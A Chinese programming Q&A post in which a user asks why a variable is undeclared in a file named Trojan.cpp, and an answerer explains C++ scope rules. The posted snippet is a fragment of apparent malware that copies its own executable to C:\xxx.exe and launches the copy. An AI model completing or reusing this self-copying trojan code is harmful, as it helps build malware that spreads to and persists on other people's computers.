#include<haker.h> 2023-06-04 07:38 采纳率: 40%
浏览 27
已结题

87 9 C:\Users\Jonat\Desktop\Trojan.cpp [Error] 'SzPath' was not declared in this scope

[Error] 'SzPath' was not declared in this scope :

    char szPath[1000];
    GetModuleFileName(NULL, szPath, sizeof(szPath) - 1);
    string SzPath = szPath;
    LPCTSTR targetPath;
    struct _finddata_t fileinfo;
    long long fHandle;
    if(int(SzPath.find("Desktop")) != -1) {
        targetPath = _T("C:\\xxx.exe");
        CopyMyselfTo(targetPath);
        system("start C:\\xxx.exe");

  • 写回答

1条回答 默认 最新

  • threenewbee 2023-06-04 09:07
    关注

    完整的代码是什么,这里你定义了SzPath,但是如果你在花括号外面访问,就会出这个错误,比如

    if (...)
    {
        string SzPath = szPath;
        ...
    }
    SzPath... //这里出错
    
    评论 编辑记录

报告相同问题?

问题事件

  • 已结题 (查看结题原因) 6月4日
  • 创建了问题 6月4日